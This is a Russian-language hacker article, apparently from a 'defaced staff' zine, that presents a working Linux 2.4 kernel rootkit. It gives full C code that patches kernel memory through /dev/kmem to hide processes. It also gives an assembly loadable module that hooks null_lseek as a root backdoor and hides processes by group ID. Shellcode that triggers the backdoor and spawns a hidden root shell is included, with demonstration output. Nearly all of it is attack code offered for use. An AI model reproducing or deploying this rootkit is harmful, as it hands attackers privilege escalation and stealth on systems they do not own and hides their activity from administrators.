~ linux again ~
Линух так часто меняет ядра и всю хуйню, что многие техники руткитовские
быстро отпадают. Данная статья показывает один из вариантов более-менее
универсального способа прятанья процессов и получения рута.
[0] zeroday technique ))
Линуксовый ps берёт список процессов из /proc. Адура (teso's adore)
изначально перехватывала getdents() так что читать подкаталоги в /proc мы
могли не все, а лишь видимых процессов. Adore Next Generation уже эмулирует
vfs для proc и на уровне ядра всё рулит сама. Весьма нестабильно это всё и к
сожалению быстро отходит. Ещё одна хуйня это то, что в ооочень многих
последних ядрах перестал работать /dev/kmem. Точнее он есть, но чтение/запись
выдают ошибки. Так что Suck Kit (sk) тоже пролетает как фанера, хотя за
последние приватные версии sk не ручаюсь ) Теперь сперва представим нашу
технику, а потом обсудим реализацию.
В /fs/proc/base.c есть такая вот функция:
static struct inode *proc_pid_make_inode(struct super_block * sb, struct task_struct *task, int ino)
{
struct inode * inode;
/* We need a new inode */
inode = new_inode(sb);
if (!inode)
goto out;
/* Common stuff */
inode->i_mtime = inode->i_atime = inode->i_ctime = CURRENT_TIME;
inode->i_ino = fake_ino(task->pid, ino);
if (!task->pid)
goto out_unlock;
/*
* grab the reference to task.
*/
get_task_struct(task);
inode->u.proc_i.task = task;
inode->i_uid = 0;
inode->i_gid = 0;
if (ino == PROC_PID_INO || task_dumpable(task)) {
inode->i_uid = task->euid;
inode->i_gid = task->egid;
}
out:
return inode;
out_unlock:
iput(inode);
return NULL;
}
Если она возвращает 0, то процесс task невидим. Собственно это и будем
юзать =) Смотрим дамп:
# cat /boot/System.map | grep proc_pid_make_inode
c0154bb0 t proc_pid_make_inode
# cat tst.c
#include <stdio.h>
#include <fcntl.h>
int main()
{
int fd;
unsigned char buf[512];
fd = open("/dev/kmem", O_RDWR);
if (fd < 0)
{
perror("open");
return -1;
}
lseek(fd, _OFFSET, 0);
if (read(fd, &buf, 512) < 0)
{
perror("read");
return -1;
}
close(fd);
fd = open("./dis", O_WRONLY);
lseek(fd, 0x74, 0);
write(fd, &buf, 512);
close(fd);
return 0;
}
# gcc -o tst -D_OFFSET=0xc0154bb0 tst.c
# ./tst
# objdump -d ./dis | less
./dis: file format elf32-i386
Disassembly of section .text:
08048074 <_start>:
8048074: 55 push %ebp
8048075: 57 push %edi
8048076: 56 push %esi
8048077: 53 push %ebx
8048078: 8b 74 24 14 mov 0x14(%esp,1),%esi
804807c: 8b 7c 24 18 mov 0x18(%esp,1),%edi
8048080: 8b 6c 24 1c mov 0x1c(%esp,1),%ebp
8048084: e8 cb 5c ff ff call 803dd54 <_start-0xa320>
8048089: 85 c0 test %eax,%eax
804808b: 89 c3 mov %eax,%ebx
804808d: 0f 84 8a 00 00 00 je 804811d <_start+0xa9>
8048093: 89 b0 90 00 00 00 mov %esi,0x90(%eax)
8048099: 66 8b 46 08 mov 0x8(%esi),%ax
804809d: 66 89 43 30 mov %ax,0x30(%ebx)
80480a1: 31 c0 xor %eax,%eax
80480a3: 8a 46 10 mov 0x10(%esi),%al
80480a6: 85 db test %ebx,%ebx
80480a8: 89 43 58 mov %eax,0x58(%ebx)
80480ab: 74 70 je 804811d <_start+0xa9>
80480ad: a1 50 6e 36 c0 mov 0xc0366e50,%eax
80480b2: 89 43 54 mov %eax,0x54(%ebx)
80480b5: 89 43 4c mov %eax,0x4c(%ebx)
80480b8: 89 43 50 mov %eax,0x50(%ebx)
80480bb: 8b 47 7c mov 0x7c(%edi),%eax
80480be: c1 e0 10 shl $0x10,%eax
80480c1: 09 e8 or %ebp,%eax
80480c3: 89 43 28 mov %eax,0x28(%ebx)
80480c6: 8b 47 7c mov 0x7c(%edi),%eax
80480c9: 85 c0 test %eax,%eax
80480cb: 74 57 je 8048124 <_start+0xb0>
80480cd: 8d 87 00 00 00 40 lea 0x40000000(%edi),%eax
80480d3: c1 e8 0c shr $0xc,%eax
80480d6: 8d 14 80 lea (%eax,%eax,4),%edx
80480d9: 8d 14 50 lea (%eax,%edx,2),%edx
80480dc: a1 90 83 36 c0 mov 0xc0368390,%eax
80480e1: 8d 14 90 lea (%eax,%edx,4),%edx
80480e4: ff 42 14 incl 0x14(%edx)
80480e7: 83 fd 02 cmp $0x2,%ebp
80480ea: 89 bb 10 01 00 00 mov %edi,0x110(%ebx)
80480f0: c7 43 38 00 00 00 00 movl $0x0,0x38(%ebx)
80480f7: c7 43 3c 00 00 00 00 movl $0x0,0x3c(%ebx)
80480fe: 74 0b je 804810b <_start+0x97>
8048100: 57 push %edi
8048101: e8 4e ff ff ff call 8048054 <_start-0x20>
8048106: 85 c0 test %eax,%eax
8048108: 5d pop %ebp
8048109: 74 12 je 804811d <_start+0xa9>
804810b: 8b 87 30 01 00 00 mov 0x130(%edi),%eax
8048111: 89 43 38 mov %eax,0x38(%ebx)
8048114: 8b 87 40 01 00 00 mov 0x140(%edi),%eax
804811a: 89 43 3c mov %eax,0x3c(%ebx)
804811d: 89 d8 mov %ebx,%eax
804811f: 5b pop %ebx
8048120: 5e pop %esi
8048121: 5f pop %edi
8048122: 5d pop %ebp
8048123: c3 ret
...
Вобщем наши действия такие:
1. находим оффсет к gid в стркутуре task_struct
2. пишем его в код для ныканья процессов
3. выделяем в памяти ядра область kmalloc()-ом и пишем туда наш код
4. перехватываем самый первый вызов из proc_pid_make_inode(), call
напрявляем на наш код и там уже его разруливаем.
1. нахождение оффсета к gid.
Смотрим исходный код getgid() :
asmlinkage long sys_getgid(void)
{
/* Only we change this so SMP safe */
return current->gid;
}
asmlinkage long sys_getegid(void)
{
/* Only we change this so SMP safe */
return current->egid;
}
Сравним его с дампом:
# getgid()
8048074: b8 00 e0 ff ff mov $0xffffe000,%eax
8048079: 21 e0 and %esp,%eax
804807b: 8b 80 3c 01 00 00 mov 0x13c(%eax),%eax
8048081: c3 ret
# getegid()
8048082: 89 f6 mov %esi,%esi
8048084: b8 00 e0 ff ff mov $0xffffe000,%eax
8048089: 21 e0 and %esp,%eax
804808b: 8b 80 40 01 00 00 mov 0x140(%eax),%eax
8048091: c3 ret
Оффсет к gid-у лежит после опкодов 0x8b и 0x80, так что можно найти по
сигнатуре. Ниже пример кода:
#include <stdio.h>
#include <fcntl.h>
unsigned char sig[] = "\x8b\x80";
int main()
{
int i, st, fd, gid;
unsigned char p;
fd = open("/dev/kmem", O_RDONLY);
lseek(fd, _OFFSET, 0);
st = 0;
for (i=0; i < 20; i++)
{
read(fd, &p, 1);
if (p == 0xc3) break;
if (p == sig[st]) st++;
else st = 0;
if (st == 2) break;
}
if (st < 2) return 0;
read(fd, &gid, 4);
printf("Gid offset: 0x%x\n", gid);
close(fd);
return 0;
}
При компиляции указать нужно адрес обработчика системного вызова getgid()
(cat /boot/System.map | grep getgid).
2. наш код, он вот такой вот скромный:
# call getgid() - тут будет опкод вызова getgid()
hide_proc: # %edi - pointer to task_struct
cmp $0x11, %eax
je call_orig
cmp $0x11, 0x13c(%edi) # task->gid == 0x11 ?
jne call_orig
xorl %eax, %eax # если да, то возвращаем ноль. процесс невидим
ret
call_orig:
push $0xdefaced
ret
Если gid текущего процесса == 0x11 то всё работает как надо (невидимые
процессы могут видть друг друга). Если gid показываемого процесса равен 0x11
то прячем его (возвращаем 0 из функции). Вот получился такой код:
unsigned char hell[] =
"\xe8" // call getgid()
"\xde\xfa\xce\xd0" // адрес getgid() << ADDR#1
"\x83\xf8\x11\x74\x0c" // is current gid == 0x11 ?
"\x83\xbf"
"\xde\xfa\xce\xd0" // offset to task_struct->gid << ADDR#2
"\x11" // magic gid
"\x75\x03\x31\xc0\xc3\x68"
"\xde\xfa\xce\xd0" // вызываем оригинальную функцию << ADDR#3
"\xc3";
Тут 3 адреса нужно вписать и можно hide_gid прописать другой. Об этом далее.
3. запись нашего кода в ядро
Воспользуемся техникой kmalloc2sct. Впишем адрес kmalloc() в
sys_call_table вместо какого-нибудь редко юзаемого вызова, вызовем, получим
адрес выделенной памяти и восстановим обратно старый обработчик. Формат
kmalloc() такой:
kmalloc (int size, unsigned short mode)
mode == GFP_KERNEL нам нужен, тоесть выделяется память в области ядра.
Беда в том, что в разных ядрах разные значения этого GFP_KERNEL. Поэтому мы
будем вытаскивать его как и оффсет к gid из какой-нить функции. Тут подходит
неплохо __request_region() :
struct resource * __request_region(struct resource *parent, unsigned long start, unsigned long n, const char *name)
{
struct resource *res = kmalloc(sizeof(*res), GFP_KERNEL);
if (res) {
memset(res, 0, sizeof(*res));
res->name = name;
res->start = start;
res->end = start + n - 1;
res->flags = IORESOURCE_BUSY;
...
Смотрим её дамп:
8048074: 57 push %edi
8048075: 56 push %esi
8048076: 53 push %ebx
8048077: 8b 74 24 10 mov 0x10(%esp,1),%esi
804807b: 8b 7c 24 14 mov 0x14(%esp,1),%edi
804807f: 68 f0 01 00 00 push $0x1f0 << arg 2
8048084: 6a 1c push $0x1c << arg 1
8048086: e8 f9 1f 01 00 call 805a084 << kmalloc()
804808b: 89 c3 mov %eax,%ebx
804808d: 85 db test %ebx,%ebx
804808f: 58 pop %eax
8048090: 5a pop %edx
Видно что нам нужен второй аргумент kmalloc(), а его значение лежит прямо
после первого опкода push (0x68). Вот пример проги, вытаскивающей GFP_KERNEL
из этой функции:
/* define _OFFSET = адрес __request_region */
#include <stdio.h>
#include <fcntl.h>
int main()
{
int i, fd, gfp;
unsigned char p;
fd = open("/dev/kmem", O_RDONLY);
lseek(fd, _OFFSET, 0);
for (i=0; i < 20; i++)
{
read(fd, &p, 1);
if (p == 0x68) break;
}
if (i == 20) return 0; // not found
read(fd, &gfp, 4);
printf("GFP_KERNEL = 0x%x\n", gfp);
close(fd);
return 0;
}
А вот пример kmalloc():
/*
_OFFS == sys_call_table addr
_KMALLOC = kmalloc addr
_GFP_KERN = значение gfp_kernel
адреса можно вытащить grep-ом из /boot/System.map
*/
#include <stdio.h>
#include <fcntl.h>
int main()
{
int fd, addr, n_addr;
fd = open("/dev/kmem", O_RDWR);
lseek(fd, _OFFS + 4*233, 0); // 233 системный вызов перехватываем
read(fd, &addr, 4);
lseek(fd, -4, 1);
n_addr = _KMALLOC;
write(fd, &n_addr, 4);
n_addr = 0;
n_addr = syscall(233, 64, _GFP_KERN);
printf("ret = 0x%x\n", n_addr);
lseek(fd, _OFFS + 4*233, 0);
write(fd, &addr, 4); // восстанавливаем старый обработчик
close(fd);
return 0;
}
4. Теперь собственно делаем перехват:
- старый адрес вызова вшиваем в наш код (ADDR#3), его нужно только
пересчитать как абсолютный. Это сделать можно так: пусть CUR_ADDR это
адрес текущей инструкции, аля EIP. А ORIG_ADDR - старый адрес вызова.
тогда ADDR#3 = CUR_ADDR + ORIG_ADDR
- ADDR#2 есть смещение в task_struct к gid, мы его уже научились находить.
- ADDR#1 - адрес обработчика системного вызова getgid(), искать не надо )
И вот что у нас в итоге получилось:
#include <stdio.h>
#include <fcntl.h>
#define MAGIC_GID 0x11
#define FUNC_OFFS 0xc0154bb0 // proc_pid_make_inode
#define GID_OFFS 0xc0120170 // getgid
#define GFP_OFFS 0xc011cc10 // __request_region
#define SYS_CALL_TABLE_OFFS 0xc02fe7d0 // sys_call_table
#define KMALLOC_OFFS 0xc012ec20 // kmalloc
unsigned char hell[] =
"\xe8"
"\xde\xfa\xce\xd0" // address of getgid()
"\x83\xf8\x11\x74\x0c"
"\x83\xbf"
"\xde\xfa\xce\xd0" // offset to task_struct->gid
"\x11" // magic gid
"\x75\x03\x31\xc0\xc3\x68"
"\xde\xfa\xce\xd0" // address of original call()
"\xc3";
unsigned int gfp, gid, kaddr = 0, oaddr = 0, call_addr = 0;
/* grab task_struct->gid offset from getgid() syscall */
int get_gid_offs(int fd)
{
int i, st, gid;
unsigned char p, sig[] = "\x8b\x80";
lseek(fd, GID_OFFS, 0);
st = 0;
for (i=0; i < 20; i++)
{
read(fd, &p, 1);
if (p == 0xc3) break;
if (p == sig[st]) st++;
else st = 0;
if (st == 2) break;
}
if (st < 2) return 0;
read(fd, &gid, 4);
printf("[+] Gid offset: 0x%x\n", gid);
return gid;
}
int get_orig_addr(int fd)
{
int i=0, ret = 0;
unsigned char u = 0;
lseek(fd, FUNC_OFFS, 0);
while (i++ < 32 && u != 0xe8)
read(fd, &u, 1);
if (i >= 32) return 0;
call_addr = FUNC_OFFS + i - 1;
read(fd, &ret, 4);
return ret;
}
int get_kern_gfp(int fd)
{
int i, gfp;
unsigned char p;
lseek(fd, GFP_OFFS, 0);
for (i=0; i < 20; i++)
{
read(fd, &p, 1);
if (p == 0x68) break;
}
if (i == 20) return 0; // not found
read(fd, &gfp, 4);
printf("[+] GFP_KERNEL = 0x%x\n", gfp);
return gfp;
}
int kmalloc(int fd, int gfp_kern)
{
int addr, n_addr, ret = 0;
lseek(fd, SYS_CALL_TABLE_OFFS + 4*233, 0);
read(fd, &addr, 4);
lseek(fd, -4, 1);
n_addr = KMALLOC_OFFS;
write(fd, &n_addr, 4);
ret = syscall(233, 32, gfp_kern);
printf("[+] kmalloc ret = 0x%x\n", ret);
lseek(fd, SYS_CALL_TABLE_OFFS + 4*233, 0);
write(fd, &addr, 4); // backup
return ret;
}
int kmem_load_hellcode(int fd, void *dat, unsigned int size)
{
lseek(fd, kaddr, 0);
printf("[+] loading hellcode into kernel\n");
return write(fd, dat, size);
}
int kmem_hook(int fd)
{
int a;
lseek(fd, call_addr, 0);
a = kaddr - (call_addr+4);
write(fd, &a, 4);
printf("[+] infected done\n");
return 0;
}
int main()
{
int fd;
unsigned char tmp[4];
fd = open("/dev/kmem", O_RDWR);
if (fd < 0)
{
perror("open");
return -1;
}
gid = gfp = kaddr = 0;
// get gid offs and prepare hellcode
gid = get_gid_offs(fd);
if (gid == 0)
{
printf("[-] cant find gid offset in task_struct\n");
return -2;
}
memcpy(&tmp, &gid, 4);
hell[12] = tmp[0];
hell[13] = tmp[1];
hell[14] = tmp[2];
hell[15] = tmp[3];
hell[16] = MAGIC_GID;
oaddr = get_orig_addr(fd);
if (oaddr == 0)
{
printf("[-] cant find call() opcode\n");
return -2;
}
oaddr += call_addr+4;
printf("[+] orig_call = 0x%x\n", oaddr);
memcpy(&tmp, &oaddr, 4);
hell[23] = tmp[0];
hell[24] = tmp[1];
hell[25] = tmp[2];
hell[26] = tmp[3];
// alloc space in kernel memory
gfp = get_kern_gfp(fd);
if (gfp == 0)
{
printf("[-] cant get value of GFP_KERNEL\n");
return -3;
}
kaddr = kmalloc(fd, gfp);
if (kaddr == 0)
{
printf("[-] cant allocate space in kernel memory\n");
return -4;
}
// let's go
gid = GID_OFFS - (kaddr+5);
memcpy(&tmp, &gid, 4);
hell[1] = tmp[0];
hell[2] = tmp[1];
hell[3] = tmp[2];
hell[4] = tmp[3];
if (kmem_load_hellcode(fd, &hell, sizeof(hell)) < sizeof(hell))
{
printf("[-] cant load shellcode into kernel memory\n");
return -5;
}
kmem_hook(fd);
close(fd);
// for debug
fd = open("dis2", O_WRONLY);
lseek(fd, 0x74, 0);
write(fd, &hell, sizeof(hell));
close(fd);
return 0;
}
# gcc -o do_hook do_hook.c
# ./do_hook
[+] Gid offset: 0x13c
[+] orig_call = c012c4f0
[+] GFP_KERNEL = 0x1f0
[+] kmalloc ret = 0xe662ccb0
[+] loading hellcode into kernel
[+] infected done
#
Тестируем:
# cat shell.c
#include <stdio.h>
int main()
{
setgid(17);
execl("/bin/sh", "sh", 0);
return 0;
}
# gcc -o shell shell.c
# ./shell
# ps -auxw
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
root 1 4.3 0.0 480 228 ? S 00:53 0:04 init
root 2 0.2 0.0 0 0 ? SW 00:53 0:00 [keventd]
root 3 0.0 0.0 0 0 ? SWN 00:53 0:00 [ksoftirqd_CPU0]
root 4 0.0 0.0 0 0 ? SW 00:53 0:00 [kswapd]
root 5 0.0 0.0 0 0 ? SW 00:53 0:00 [bdflush]
root 6 0.0 0.0 0 0 ? SW 00:53 0:00 [kupdated]
root 10 0.0 0.0 0 0 ? SW< 00:53 0:00 [mdrecoveryd]
root 11 0.0 0.0 0 0 ? SW 00:53 0:00 [kjournald]
root 119 0.0 0.0 0 0 ? SW 00:53 0:00 [khubd]
rpc 550 0.0 0.0 1504 564 ? S 00:53 0:00 [rpc.portmap]
root 556 0.0 0.0 1424 604 ? S 00:53 0:00 /usr/sbin/syslogd
root 595 0.0 0.0 1360 460 ? S 00:53 0:00 /usr/sbin/klogd -c 3 -x
root 597 0.0 0.0 1396 524 ? S 00:53 0:00 /usr/sbin/inetd
root 600 0.1 0.2 3044 1384 ? S 00:53 0:00 /usr/sbin/sshd
lp 606 0.0 0.1 3348 1232 ? S 00:53 0:00 [lpd]
root 609 0.0 0.0 1480 552 ? S 00:53 0:00 /usr/sbin/crond -l10
root 612 0.0 0.2 3288 1436 ? S 00:53 0:00 [sendmail]
smmsp 615 0.0 0.2 3284 1428 ? S 00:53 0:00 [sendmail]
root 619 0.1 0.1 2256 1288 tty1 S 00:53 0:00 -bash
root 620 0.0 0.1 2256 1276 tty2 S 00:53 0:00 -bash
root 621 0.0 0.0 1356 488 tty3 S 00:53 0:00 /sbin/agetty 38400 tty3 linux
root 622 0.0 0.0 1356 488 tty4 S 00:53 0:00 /sbin/agetty 38400 tty4 linux
root 623 0.0 0.0 1356 488 tty5 S 00:53 0:00 /sbin/agetty 38400 tty5 linux
root 624 0.0 0.0 1356 488 tty6 S 00:53 0:00 /sbin/agetty 38400 tty6 linux
root 637 0.8 0.2 3064 1600 tty1 S 00:53 0:00 /usr/bin/mc -P /tmp/mc-root/mc.pwd.619 -b
root 638 0.0 0.0 1348 324 ? S 00:53 0:00 cons.saver /dev/tty1
root 639 0.0 0.1 2248 1256 pts/0 S 00:53 0:00 bash -rcfile .bashrc
root 652 0.0 0.1 2256 1264 pts/0 S 00:54 0:00 sh
root 671 0.0 0.1 2656 812 pts/0 R 00:55 0:00 ps -auxw
С другого шелла параллельно делаем ps -auxww:
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
root 1 3.8 0.0 480 228 ? S 00:53 0:04 init
root 2 0.2 0.0 0 0 ? SW 00:53 0:00 [keventd]
root 3 0.0 0.0 0 0 ? SWN 00:53 0:00 [ksoftirqd_CPU0]
root 4 0.0 0.0 0 0 ? SW 00:53 0:00 [kswapd]
root 5 0.0 0.0 0 0 ? SW 00:53 0:00 [bdflush]
root 6 0.0 0.0 0 0 ? SW 00:53 0:00 [kupdated]
root 10 0.0 0.0 0 0 ? SW< 00:53 0:00 [mdrecoveryd]
root 11 0.0 0.0 0 0 ? SW 00:53 0:00 [kjournald]
root 119 0.0 0.0 0 0 ? SW 00:53 0:00 [khubd]
rpc 550 0.0 0.0 1504 564 ? S 00:53 0:00 [rpc.portmap]
root 556 0.0 0.0 1424 604 ? S 00:53 0:00 /usr/sbin/syslogd
root 595 0.0 0.0 1360 460 ? S 00:53 0:00 /usr/sbin/klogd -c 3 -x
root 597 0.0 0.0 1396 524 ? S 00:53 0:00 /usr/sbin/inetd
root 600 0.1 0.2 3044 1384 ? S 00:53 0:00 /usr/sbin/sshd
lp 606 0.0 0.1 3348 1232 ? S 00:53 0:00 [lpd]
root 609 0.0 0.0 1480 552 ? S 00:53 0:00 /usr/sbin/crond -l10
root 612 0.0 0.2 3288 1436 ? S 00:53 0:00 [sendmail]
smmsp 615 0.0 0.2 3284 1428 ? S 00:53 0:00 [sendmail]
root 619 0.1 0.1 2256 1288 tty1 S 00:53 0:00 -bash
root 620 0.0 0.1 2256 1276 tty2 S 00:53 0:00 -bash
root 621 0.0 0.0 1356 488 tty3 S 00:53 0:00 /sbin/agetty 38400 tty3 linux
root 622 0.0 0.0 1356 488 tty4 S 00:53 0:00 /sbin/agetty 38400 tty4 linux
root 623 0.0 0.0 1356 488 tty5 S 00:53 0:00 /sbin/agetty 38400 tty5 linux
root 624 0.0 0.0 1356 488 tty6 S 00:53 0:00 /sbin/agetty 38400 tty6 linux
root 637 0.7 0.2 3064 1600 tty1 S 00:53 0:00 /usr/bin/mc -P /tmp/mc-root/mc.pwd.619 -b
root 638 0.0 0.0 1348 324 ? S 00:53 0:00 cons.saver /dev/tty1
root 639 0.0 0.1 2248 1256 pts/0 S 00:53 0:00 bash -rcfile .bashrc
root 672 0.0 0.1 2656 812 tty2 R 00:55 0:00 ps -auxww
Наш шелл не видно (PID 652), что и требовалось доказать +) Глянем дамп
нашего кода в памяти ядра, который создаёт do_hook:
8048074: e8 eb 28 04 da call e208a964 < относительный адрес getgid()
8048079: 83 f8 11 cmp $0x11,%eax
804807c: 74 0c je 804808a <_start+0x16>
804807e: 83 bf 3c 01 00 00 11 cmpl $0x11,0x13c(%edi)
8048085: 75 03 jne 804808a <_start+0x16>
8048087: 31 c0 xor %eax,%eax
8048089: c3 ret
804808a: 68 90 a8 14 c0 push $0xc014a890 < абсолютный адрес оригинальной функции
804808f: c3 ret
По идее должно работать на всех ядрах где нормально пашет /dev/kmem.
Теперь переходим ко второму варианту, если не через /dev/kmem то как?
==[1] kernel loadable module ]]===============================================
Единственный оставшийся способ нам рулить памятью ядра это загружать свои
модули. Западло в том, что в разных версиях меняются хидеры и константы
разных флагов и прочее. Да к тому же для сборки lkm на сях нужны исходники
того ядра под которое собираешь, поэтому как завещал madcr будем писать на
асме =) Данный руткит будет интересен хотя бы тем что не перехватываются
никакие системные вызовы.
1. техника получения рута
Достаточно примитивно, опишем кратко что делать. У файлов устройств /dev/
типа kmem, mem, null, zero есть функци свои для чтения, записи и так далее.
И называются они например так: mem_read, kmem_write, null_lseekm, zero_read,
и так далее тоесть просто девайс и операция. Не долго думая мы перехватили
функцию null_lseek() (впрочем вы можете выбрать и любую другую). В коде
она выглядит так:
</usr/src/linux/drivers/char/mem.c>
static loff_t null_lseek(struct file * file, loff_t offset, int orig)
{
return file->f_pos = 0;
}
Ассемблерный дамп особо и не нужен, да и потом хуле нуль и нуль ) мало кого
будет ебать lseek() на нём так что просто инфецируем и возвращать будем 0.
Код функции примерно будет выглядеть так:
movl 0x8(%esp), %eax # проверяем 2й аргумент вызова
cmp $0xdefaced, %eax # если не равен 0xdefaced то возвращаем просто 0
.word 0x2575
push %edx
push %ebx
xorl %ebx, %ebx
# get current task_struct...
movl $0xffffe000, %eax
andl %esp, %eax
# set current->uid = 0
movl uid_offs, %edx
addl %eax, %edx
movl %ebx, (%edx)
# set current->gid = 0
movl gid_offs, %edx
addl %eax, %edx
movl $0x11, (%edx)
popl %ebx
popl %edx
xorl %eax, %eax # return 0
ret
Насчёт word 0x2575 - чтобы не клепать кучу меток и символов (которые потом
загрузятся в ядро) мы заменяем их на опкоды.
0x75 0x25 jne 0x25
2. прятанье процессов
Как и в предидущей части, через функцию proc_pid_make_inode() будем делать
зло. Тут есть такая тонкость, смотрим дамп:
<proc_pid_make_inode>:
8048074: 55 push %ebp
8048075: 57 push %edi
8048076: 56 push %esi
8048077: 53 push %ebx
8048078: 8b 74 24 14 mov 0x14(%esp,1),%esi
804807c: 8b 7c 24 18 mov 0x18(%esp,1),%edi
8048080: 8b 6c 24 1c mov 0x1c(%esp,1),%ebp
8048084: e8 cb 5c ff ff call 803dd54 <_start-0xa320>
Втророй аргумент функции (указатель на task_struct) будет лежать то в edi,
то в esi (в зависимости от компилера). Вытащить аргумент через стек тоже
гемморно ибо в ядрах разных немного колеблется число элементов до него, а
попытки определить именно это task_struct или что-то ещё часто провальны. Так
что мы сделали ход конём: если у %edi стоит знаковый бит, то это наш искомый
адрес task_struct (на ядрах до 2.4.31 так обстоит дело), в противном случае
task_struct лежит в %esi (ядра 2.4.31 и выше). Код будет примерно такой:
# get current task_struct
movl $0xffffe000, %eax
andl %esp, %eax
# arg_offs == 0 ?
movl arg_offs, %edx
test %edx, %edx
.word 0x0e75 # if not zero skip
xorl %edx, %edx
test %edi, %edi
.word 0x0178 # if %edi is not negative, skip one inc opcode
incl %edx
incl %edx
movl %edx, arg_offs
# if current->gid == 0x11 work normally (hidden proc can see itself)
addl gid_offs, %eax
movl (%eax), %eax
cmpl $0x11, %eax
.word 0x1e74
# if arg_offs == 1 task_struct in %edi, else in %esi
movl arg_offs, %eax
cmp $1, %eax
.word 0x047f
movl %edi, %eax
.word 0x02eb
movl %esi, %eax
addl gid_offs, %eax
# if task_struct->gid == 0x11 return 0
cmpl $0x11, (%eax)
.word 0x0375
xorl %eax, %eax
ret
# work normally, call original function
movl orig_addr, %eax
push %eax
ret
3. загрузка в ядро
Теперь загрузка в ядро. Прежде всего нам нужно найти кое какие значения:
uid_offs - смещение в task_struct до uid
gid_offs - смещение в task_struct до gid
orig_addr - адрес старого вызова, который мы перехватываем
Вот что получилось:
init_module:
push %edx
# find uid_offs
movl sys_call_table + 24*4, %edx
incl %edx
cmpw $0, (%edx)
.word 0xf975
subl $2, %edx
movl (%edx), %eax
movl %eax, uid_offs
# find gid_offs
movl sys_call_table + 47*4, %edx
incl %edx
cmpw $0, (%edx)
.word 0xf975
subl $2, %edx
movl (%edx), %eax
movl %eax, gid_offs
# insert gotroot code
movl root_func_addr, %eax
movb $0x68, (%eax)
movl $root_code, 0x1(%eax)
movb $0xc3, 0x5(%eax)
# find back addr
movl proc_func_addr, %edx
incl %edx
cmpb $0xe8, (%edx)
.word 0xfa75
incl %edx
movl (%edx), %eax
addl %edx, %eax
addl $4, %eax
movl %eax, orig_addr
# hide_proc hook
movl $proc_code, %eax
subl %edx, %eax
subl $4, %eax
movl %eax, (%edx)
xorl %eax, %eax
popl %edx
ret
4. выгрузка из ядра
Cleanup тоже неплохо бы сделать, а то после выгрузки модуля из ядра всё
повалится в сегфолты. Вот такой клинап:
cleanup_module:
# disable got-root
movl root_func_addr, %eax
movw $0xc031, (%eax)
movb $0xc3, 0x2(%eax)
# disable proc-hiding
push %edx
movl proc_func_addr, %edx
incl %edx
cmpb $0xe8, (%edx)
.word 0xfa75
incl %edx
movl orig_addr, %eax
subl %edx, %eax
subl $4, %eax
movl %eax, (%edx)
xorl %eax, %eax
popl %edx
ret
5. финал
Вот что получилось:
#################################################################
#
# Linux/x86 loadable kernel module by defaced staff
#
# Gives root and hides proceses. Currently 2.4.x kernels only
#
# tested on: 2.4.18-3, 2.4.20, 2.4.29, 2.4.30, 2.4.31
#
#################################################################
.text
init_module:
push %edx
# find uid_offs
movl sys_call_table + 24*4, %edx
incl %edx
cmpw $0, (%edx)
.word 0xf975
subl $2, %edx
movl (%edx), %eax
movl %eax, uid_offs
# find gid_offs
movl sys_call_table + 47*4, %edx
incl %edx
cmpw $0, (%edx)
.word 0xf975
subl $2, %edx
movl (%edx), %eax
movl %eax, gid_offs
# insert gotroot code
movl root_func_addr, %eax
movb $0x68, (%eax)
movl $root_code, 0x1(%eax)
movb $0xc3, 0x5(%eax)
# find back addr
movl proc_func_addr, %edx
incl %edx
cmpb $0xe8, (%edx)
.word 0xfa75
incl %edx
movl (%edx), %eax
addl %edx, %eax
addl $4, %eax
movl %eax, orig_addr
# hide_proc hook
movl $proc_code, %eax
subl %edx, %eax
subl $4, %eax
movl %eax, (%edx)
xorl %eax, %eax
popl %edx
ret
#################################################################
# cleanup
cleanup_module:
# disable got-root
movl root_func_addr, %eax
movw $0xc031, (%eax)
movb $0xc3, 0x2(%eax)
# disable proc-hiding
push %edx
movl proc_func_addr, %edx
incl %edx
cmpb $0xe8, (%edx)
.word 0xfa75
incl %edx
movl orig_addr, %eax
subl %edx, %eax
subl $4, %eax
movl %eax, (%edx)
xorl %eax, %eax
popl %edx
ret
#################################################################
# got root
root_code:
movl 0x8(%esp), %eax
cmp $0xdefaced, %eax
.word 0x2575
push %edx
push %ebx
xorl %ebx, %ebx
movl $0xffffe000, %eax
andl %esp, %eax
movl uid_offs, %edx
addl %eax, %edx
movl %ebx, (%edx)
movl gid_offs, %edx
addl %eax, %edx
movl $0x11, (%edx)
popl %ebx
popl %edx
xorl %eax, %eax
ret
#################################################################
# hide process
proc_code:
movl $0xffffe000, %eax
andl %esp, %eax
movl arg_offs, %edx
test %edx, %edx
.word 0x0e75
xorl %edx, %edx
test %edi, %edi
.word 0x0178
incl %edx
incl %edx
movl %edx, arg_offs
addl gid_offs, %eax
movl (%eax), %eax
cmpl $0x11, %eax
.word 0x1e74
movl arg_offs, %eax
cmp $1, %eax
.word 0x047f
movl %edi, %eax
.word 0x02eb
movl %esi, %eax
addl gid_offs, %eax
cmpl $0x11, (%eax)
.word 0x0375
xorl %eax, %eax
ret
movl orig_addr, %eax
push %eax
ret
#################################################################
.data
uid_offs: .long 0
gid_offs: .long 0
orig_addr: .long 0
arg_offs: .long 0
proc_func_addr: .long 0xc0154bb0 # grep proc_pid_make_inode /boot/System.map
root_func_addr: .long 0xc01c45b0 # grep null_lseek /boot/System.map
.section .modinfo
.string "kernel_version=2.4.20"
.string "license=GPL"
Вобщем-то юзать так:
# as -o corvus.o corvus.s
# insmod corvus.o
#
Теперь шелл. Вот такой:
.globl _start
_start:
# open ()
cdq
push %edx
pushw $0x6c6c
pushl $0x756e2f76
pushl $0x65642f2f
movl %esp, %ebx
movl %edx, %ecx
push $5
popl %eax
int $128
# lseek()
push %eax
movl %eax, %ebx
movl $0xdefaced, %ecx
mov $19, %eax
int $128
# close()
popl %ebx
push $6
popl %eax
int $128
# setregid()
push $0x11
popl %ebx
movl %ebx, %ecx
push $71
popl %eax
int $128
# exec()
push %edx
push $0x68732f6e
push $0x69622f2f
movl %esp, %ebx
pushl %edx
pushl %ebx
movl %esp, %ecx
push $11
popl %eax
int $128
# exit()
xorl %eax, %eax
incl %eax
int $128
Вот что он делает:
получение рута:
fd = open(/dev/null, rdonly)
lseek(fd, 0xdefaced, 0)
close(fd)
прятанье процесса:
setregid(0x11, 0x11)
(на всякий случай, хотя вообще то получение рута даёт gid=0x11)
execve(/bin/sh)
exit()
$ id
uid=1001(mickey) gid=100(users) groups=users
$ as -o shell.o shell.s
